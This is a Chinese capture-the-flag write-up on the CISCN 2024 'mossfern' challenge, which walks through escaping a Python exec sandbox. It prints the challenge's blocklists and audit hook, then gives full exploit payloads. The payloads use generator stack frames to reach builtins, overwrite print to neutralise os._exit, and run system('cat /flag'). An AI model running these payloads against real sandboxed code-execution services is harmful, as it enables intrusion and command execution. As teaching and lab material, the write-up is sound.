[CISCN 2024 mossfern]从一个题来详细了解Python栈帧进行沙箱逃逸的利用思路
之前我们讲了四种获取栈帧的方式,这次我们来介绍实际利用方式
CISCN 2024 mossfern
题目源码如下
代码审计
main.py
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1
app = Flask(__name__)
runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()
@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})
if __name__ == "__main__":
app.run("0.0.0.0", 5000)runner.py
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""
from sys import exit
from builtins import print
try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()
for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()
def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""
def audit(event, args):
from builtins import str, print
import os
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit
def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""
from dis import dis
from builtins import str
from io import StringIO
from sys import exit
opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()
if __name__ == "__main__":
from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time
source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()
if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)
进行代码审计,main.py用于启动这个web服务,把runner.py中的占位字符串THIS_IS_SEED替换为flag,把THIS_IS_TASK_RANDOM_ID替换为UUID1。
{id}.txt接收用户通过run路由传入的json数据中code的值,runner.py中读取这个txt文件中的内容放入{id}.py中执行,经过一系列处理后放在沙箱环境中exec执行。我们本地看一下,传入的code的值是否写入了txt文件,写入py文件的runner.py中占位符是否被替换。
传入code值为1234,在flag.txt中写入flag{123},运行查看
我们看到红框中圈出来的地方,我们传入的code的值已经被接收了,并且写入id.py中的内容中的占位符也都已经替换成了相应的内容。
runner.py中exec执行后,通过stdout来把运行后的结果输出。
然后我们逐行来看runner.py中,执行exec前经过的三个处理的函数。
source_simple_check(source)
def source_simple_check(source):
"""
Check the source with pure string in string, prevent dangerous strings
:param source: source code
:return: None
"""
from sys import exit
from builtins import print
try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()
for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()尝试对传入这个函数的参数source进行ascii解码,如果失败则报错并exit退出程序;
如果解码成功则进行关键字比对,如果黑名单中的元素出现在转为小写字母后的source中,输出这个元素,exit退出程序。
这个函数实现了两个功能,首先它必须是ascii字符,这样避免利用奇怪的Unicode字符来绕过,或者利用Python的编码特性来绕过关键词过滤。它强制要求payload必须是纯净的英文字符或符号。
我们本地看一下作用效果。
碰见黑名单中的关键字就会退出程序,无法通过拼接绕过。
def block_wrapper()
def block_wrapper():
"""
Check the run process with sys.audithook, no dangerous operations should be conduct
:return: None
"""
def audit(event, args):
from builtins import str, print
import os
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit这是一个嵌套函数。外层函数是block_wrapper,内层函数是audit。外层函数把内层的audit交出去,然后让sys.audithook去调用。这个函数是python的审计钩子(Audit Hook),它的作用是在代码运行时进行实时监控。
在主程序中,有一行
from sys import addaudithook
# ...
# ...
addaudithook(block_wrapper())这相当于告诉python解释器:无论执行什么,都要先通知这个audit函数。
每当python执行敏感操作(比如打开文件、导入模块、编译代码或者网络连接等)时,解释器会自动调用audit(event, args)。event是发生的事件名称(字符串),例如open,compile,import,os.system;而args是事件的参数(元组),例如打开的文件名。这两个参数由Python解释器(Python虚拟机)在背后自动传进。这里涉及Python的C语言层面的源码CPython,不过多赘述。
然后进行黑名单检查。
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)它把事件名和参数拼在一起,转成小写,然后检查是否包含黑名单中的关键字。如果有的话就输出,然后退出程序。
总结来说,这个函数利用python的审计功能来拦截包含特定关键词的危险操作。但因为它只盯着特定的那几个词(os, open等),所以我们可以用不包含这些词的方法来绕过,比如栈帧。
同样的,我们本地看一下这个函数的效果。
只要执行了addaudithook(block_wrapper()),下面执行的函数动作都会被这个audit所检查。
我们看到,当我们open一个文件时,它执行的event是open,args则是一个元组,里面存着这些信息,如果把他们拼在一起的话则是
openrunner.pyr32896拼在一起的这个字符串全部转成小写后去接受if的检查。
source_opcode_checker(code)
def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""
from dis import dis
from builtins import str
from io import StringIO
from sys import exit
opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()这个函数从opcode层面检查我们执行的代码。
它对我们传入的Python代码进行反汇编检查,一旦发现有危险动作(如导入模块、调用方法),就退出程序。
我们逐行来看。
opcodeIO = StringIO()
dis(code, file=opcodeIO) # 将你的源代码 code 转换成人类可读的字节码指令
opcode = opcodeIO.getvalue().split("\n")首先创建一个内存中的虚拟文件。
正常的 open("file.txt", "w") 是在硬盘上造一个文件,StringIO() 是在内存里造一个假文件。它看起来像文件,能写入数据,但数据其实只存在于内存字符串里。
然后调用python的dis模块,把我们的python代码翻译成底层的字节码指令,并将结果写入到刚才的opcodeIO桶中。
Python 的 dis.dis() 函数设计得很“傻”。它默认直接把结果 print 到控制台(屏幕)上,它的返回值是 None。
也就是说,我们不能写 result = dis(code),因为 result 会是空的。
为了拿到它的输出,我们必须用 file= 参数。
然后取出数据并切片。
opcodeIO.getvalue():从虚拟文件里取出完整的、长长的一大串字符串(包含了很多换行符)。
.split("\n"):按照换行符切一刀。
这样opcode 变成了一个列表(List),列表里的每一个元素就是反汇编结果的一行指令。
Python代码在运行前会被编译成字节码(Bytecode)。例如:
源代码:import os
字节码:IMPORT_NAME os这个函数不看我们的源码中写了什么,因为源代码可以通过各种方式进行绕过,它直接看编译成字节码后最底层的指令。
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()它遍历每一行字节码指令,检查是否有第一个字节码黑名单中的元素。
如果有的话,为了让程序跑通,出题人允许randint, randrange, print和seed这些关键词通过。但是这里存在一个逻辑漏洞。
判断两个if判断满足后,它使用了break来跳出这个for循环的判断。for循环是逐行读取opcode,也就是说只要我们在开头放一个满足条件的这个opcode,执行break后,后面的opcode都不会被for循环检查。
这是我们需要利用的漏洞点。如果把break替换为continue则不会存在这个问题。
我们本地看一下转成字节码后的命令究竟是什么样子的。以这个命令为例
__import__('os').popen('whoami').read()为了方便阅读,我们不用split分隔成列表。
我们在for循环之前把opcode打印出来。
gemini帮我们分析一下
序号 | 字节码指令 (Opcode) | 对应源码部分 | 解释 (人话版) |
0 |
| (无) | 3.11 新特性。表示解释器开始或恢复执行。这是新版 Python 内部调度用的,对逻辑无影响。 |
1 |
|
| 关键点! 这里用的是 |
2 |
| (无) | 3.11 新特性。往栈里压一个空值,为接下来的函数调用做准备(表示这是一个普通函数调用,不是方法调用)。 |
3 |
|
| 把字符串 |
4 |
|
| 调用刚才的 |
5 |
|
| 关键点! 这里用的是 |
6 |
|
| 把字符串 |
7 |
|
| 调用 |
8 |
|
| 同样,用的是 |
9 |
|
| 调用 |
10 |
| (无) | 程序结束,返回结果。 |
我们看到这种方式导入的os并不是IMPORT_NAME,但是我们换成另一种方式就可以触发了
import os
os.popen('whoami').read()可以看到这种导入方法的字节码是IMPORT_NAME。
也就是说,我们需要开头执行一段代码,字节码中既要包含LOAD_GLOBAL IMPORT_NAME LOAD_METHOD中的一个或者多个,还要包含"randint", "randrange", "print", "seed"中的一个或者多个。
源码基本都摸清楚了,这里给出exp,我们看一下它是怎么绕过的。
exp:利用生成器获取栈帧
import requests
url = "http://6d824ada-2a50-401f-a570-92d011d43e26.challenge.ctf.show/run"
payload = """
try:
[].print()
except:
pass
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str
for i in str(frame.f_code.co_consts):
print(i, end = " ")
"""
r = requests.post(url, json={"code": payload})
print(r.text)其中gen生成器那两行拆开是这样的
def builder():
yield gen.gi_frame.f_back.f_back
gen = builder()
frame = [x for x in gen][0] # 或者[*gen][0]所以也可以写成这样,注意栈帧深度加一,多一层f_back
import requests
url = "http://7e1a92cb-9c88-4540-a1e2-9ce867b74075.challenge.ctf.show/run"
payload = """
try:
[].print()
except:
pass
def builder():
yield gen.gi_frame.f_back.f_back.f_back
gen = builder()
frame = [x for x in gen][0]
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str
for i in str(frame.f_code.co_consts):
print(i, end = " ")
"""
r = requests.post(url, json={"code": payload})
print(r.text)在之前我的关于python栈帧的文章中讲到有四种获取栈帧的方式,重点来讲这里如何使用生成器获取的栈帧。
gen = (gen.gi_frame.f_back.f_back for i in [1])
frame = [*gen][0]什么是生成器
在Python中,想要拿到栈帧,通常有两条路:
- 利用sys._getframe(),这需要导入sys,还需要调用函数。
- 利用生成器对象,这时Python的语法特性。
(x for x in [])就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态(哪怕它还没开始跑,或者它是空的),解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_frame属性上。
- [x for x in []]是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下。
- (x for x in [])是一个未执行或者“懒执行”的任务包,保留栈帧。
要想介绍什么是生成器,我们还是从for循环开始讲起。
普通的for循环
假如我们想把[1]中的数字拿出来,存到一个变量中,普通写法是这样的
source_list = [1]
result_list = []
for x in source_list:
result_list.append(x) # 把 x 加到结果里这很啰嗦,也很麻烦。因此诞生了列表推导式。
列表推导式
python为了简洁,把允许把上面的三行代码压缩成一行,我们用中括号把这一串逻辑包起来,它就叫列表推导式。
# 【产出物】 【循环逻辑】
result = [ x for x in [1] ]对于[1]里面的每一个元素都赋值给x,我们都把x放到新列表中,那么result就是一个列表[1]。
列表推导式会立即把所有结果都算出来,放在内存里。
生成器表达式
如果我们把上面最外层的中括号换成小括号,就变成了生成器。
# 【产出物】 【循环逻辑】
gen = ( x for x in [1] )和上面一样,它也是循环,只不过它不会立即运行。相当于造了一个循环机器,或者循环模板。我们只有用next(gen)或者list(gen)或者[*gen]去推动它,才会去执行一次,吐出一个结果,这就是所谓的惰性求值。
gen是一个,生成器对象
跟for循环一样,i实际上并没有用,真正发生的事情是:for i in [1]让循环转动一次。循环转动的这一瞬间,Python执行了前面的代码,也就是
gen.gi_frame.f_back.f_back计算出它的结果,也就是栈帧对象。
但是文章中也说到,生成器并不会自己去执行,需要有人去推它一下,所以这里用到了[*gen[0]。
[*gen]0]
[*gen]0]的作用就是让这个生成器完成一次循环。
(gen.gi_frame.f_back.f_back for i in [1])\*gen (解包 Unpacking): 星号 * 是 Python 的语法符号(不是函数)。它的意思是:“把这个可迭代对象里的东西全部倒出来”。
这一步强制生成器开始工作,直到跑完或者抛出 StopIteration。
生成器内部的代码在这一刻被执行了。
[...] (列表构建): 中括号也是语法符号。它把刚才 * 倒出来的东西接住,装进一个新的列表里。此时,我们得到了一个列表,比如 [<frame_object>]。
[0] (索引取值): 从刚才生成的列表里取出第 0 个元素。
作用等同于next(gen)或者list(gen)。
这里其实有一个问题:为什么还要手动让这个生成器动起来?
(x for x in []).gi_frame.f_back.f_locals
# 1. (x for x in []).gi_frame -> 获取生成器帧 (成功,不是 None)
# 2. .f_back -> 获取上一层帧 (失败,这里返回了 None)
# 3. .f_locals -> None.f_locals (报错)在python3.10及以前,生成器创建时,gi_frame.f_back会直接指向创建它的那个函数,也就是innder。python3.11+版本的生成器在刚刚创建但尚未运行(Suspended状态)时,它的栈帧是“孤立”的,或者与调用栈的链接方式变了,导致f_back为None。只有当生成器正在运行时,它才会链接到调用栈。
因此高版本无法利用静态生成器的栈帧。如果想要利用它必须让它先动起来。
为什么不能用next(gen)或者list(gen)?因为源码中把builtins置空了,这里面放着所有的内置函数都不能用了,这也是为什么生成器不能写成x for x in range(1)。
定义gen生成器中调用了gen变量
有人可能要问:“为什么在定义 gen 的时候,里面可以用 gen 这个变量?这时候 gen 不是还没赋值吗?”
这就是生成器的懒加载特性。
# 定义阶段:
# Python 只是把 ( ... for ...) 编译成了字节码。
# 它并没有去查找 gen 是什么,也没有去运行里面的 .f_back
gen = (gen.gi_frame.f_back.f_back for i in [1])
# 此时 gen 变量已经存在于局部作用域了。
# 运行阶段:
# 当你调用 [*gen] 时,生成器才开始跑。
# 此时它去查找 "gen" 变量,发现 gen 就在外面定义着呢,于是成功获取到它自己。
result = [*gen]这种写法利用了 Python 的名字查找规则(LEGB),实现了**“我调用我自己,从而拿到我自己的属性”**。
写法问题
还有一个问题:为什么不能写成这样?这不是写生成器的常规方法吗?
gen = (x for x in [1])
frame = gen.gi_frame
b = frame.f_back.f_back简单来说,常规方法是在外面看,而我们使用的方法是在里面拿。在沙箱逃逸这种不稳定环境中,在里面拿要稳得多。
使用常规方法时,我们在生成器外部访问一个处于挂起或刚创建状态的生成器属性。在某些沙箱环境中,一个刚刚创建但还没开始运行的生成器,它的gi_frame可能还没有完全建立起与调用者(Caller)的f_back链接。此时f_back不会生效。
我们的方法中,[*gen]会触发生成器开始运行,代码gen.gi_frame.f_back.f_back是在生成器内部正在运行的时候完成的。当代码正在运行时,Python虚拟机必须维持完整的调用栈(否则它不知道跑完这行代码后该回哪里去)。所以这一瞬间f_back的连接是存在的。
本题的源码中是把我们传入的代码放入exec执行,exec执行的代码通常并没有标准的模块级栈帧,而是动态创建的。如果我们用常规方法frame = gen.gi_frame然后试图在外部进行回溯frame.f_back,很有可能拿到的是None或者链接不完整的帧。
这也能够解释为什么要把两层f_back写在这个生成器里面。
生成器里光写gen.gi_frame,然后下面输出常量的时候在往上爬frame.f_back.f_back.f_code.co_consts这样是不行的,同样是外部和内部的区别。
过一遍waf
我们让这个exp中的payload过一下waf函数,看一下是怎么绕过的这么多层waf函数。
source_simple_check(source)
执行结果
可以看到,payload中全部都是ascii字符,并且没有触发waf(使用了拼接绕过双下划线)。
block_wrapper()
本次测试时由于我们的栈少一层,所以这里的payload改成一个f_back
执行结果
可以看到虽然显示被os这个关键字waf了,但实际上是我们当前运行的文件目录中含有os这个关键字,放在题目环境中不会被拦。
source_opcode_checker(code)
运行结果
我们可以看到实际上
try:
[].print()
except:
pass它的opcode里面并不含有LOAD_METHOD,这是因为在旧版本 Python 中,调用一个对象的方法(如 [].print()),生成的字节码指令是 LOAD_METHOD;
但是在 Python 3.11 及以上的python版本中,方法调用机制被重构了。它不再生成 LOAD_METHOD,而是变成了 LOAD_ATTR 加上 CALL(配合 PUSH_NULL 优化)。
幸运的是,题目环境并没有在这里给我们挖坑。
exp2:覆盖audithook中的exit进行rce
前面我们讲过,audithook是监视python执行的事件,捕捉到它监视的动作后print,然后os._exit退出。
所以我们可以大胆的考虑把这个exit覆盖成别的什么东西。怎么覆盖呢?
注意到源码中
for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)在执行os._exit(1)退出前有一个print,而print函数是从builtins中调用的,我们既然已经获取了builtins,就可以把这个print污染成我们的恶意函数。
def Acc_print(a):
# 1. 栈回溯:往上找两层
# q 是一个生成器,利用 [*q][0] 触发执行并拿到结果
# 这里的目的是拿到调用 print 的那个函数(也就是检查器 audit)的局部变量
q = (q.gi_frame.f_back.f_back.f_locals for _ in [1])
locals = [*q][0]
# 2. 检查并偷梁换柱
if 'os' in locals:
# 如果在那个函数的局部变量里发现了 'os' 模块
# 就把那个 os 模块里的 _exit 方法,强行替换成 print 函数
# 这里用 "_ex"+"it" 依然是为了绕过关键词检测
builtins.setattr(locals['os'], "_ex"+"it", print)
print(a)
builtins.print = Acc_print # 下面再执行print,执行的都是我们的恶意构造的print绕过exit后我们就可以通过拼接来进行rce了。
最终exp
import requests
url = "http://74eed2a2-a14a-46e5-8775-3cd65ebece38.challenge.ctf.show/run"
payload = """
try:
[].print()
except:
pass
def builder():
yield gen.gi_frame.f_back.f_back.f_back
gen = builder()
frame = [x for x in gen][0]
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
def Acc_print(a):
Acc = (Acc.gi_frame.f_back.f_back.f_locals for _ in [1])
locals = [*Acc][0]
if 'os' in locals:
bti.setattr(locals['os'], "_ex" + "it", print)
print('yes you did it')
bti.print = Acc_print
eval = bti.eval
gta = eval('bti.get' + 'attr', {'bti': bti})
ipt = gta(bti, '_' + '_import_' + '_')
system = ipt('os').system
system('cat /flag')
"""
r = requests.post(url, json={"code": payload})
print(r.text)(不通)exp思路3:利用异步函数获取栈帧的exp
在前面我关于栈帧的文章中提到,除了sys和生成器获取栈帧的方法,还有利用异步函数。那有师傅可能就问了:能否利用异步函数获取栈帧来做这道题?
我们尝试一下。
import requests
url = "http://7e1a92cb-9c88-4540-a1e2-9ce867b74075.challenge.ctf.show/run"
payload_code = """
try:
[].print()
except:
pass
async def spy():
pass
c = spy()
frame = c.cr_frame.f_back
bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']
str = bti.str
for i in str(frame.f_code.co_consts):
print(i, end = " ")
"""
response = requests.post(url, json={"code": payload_code})
print(response.text)大体思路不变,就是把生成器换成异步函数。少了[*gen]强制调用,看起来可能会好理解一些。它同样可以绕过三层waf
第一层
第二层(减一层f_back)
第三层不多说了,有开头的[].print()就能绕。但是很遗憾的是,在题目环境中并没有成功执行。
为什么?
怀疑是无法驱动异步函数启动。
async def 定义的函数调用时,不会自动执行函数体。它只是返回一个“协程对象”。
生成器可以用 list() 或 * 来驱动,但协程(Coroutine)必须用 await 或者 .send(None) 来驱动。
await只能在异步函数中调用,而send执行结束后会瞬间结束,结束后栈帧通常会被清理,我们拿不到东西。
能否让异步函数保持活跃?可以,需要内置await函数,它既绕不过双下划线,也无法绕过审计钩子,这种方法不予考虑。
本文分析mossfern题目的三重WAF机制,详解利用生成器获取栈帧、绕过opcode检查与覆盖audithook实现RCE的方法。
由 AI 根据全文自动生成,仅供参考,以原文为准
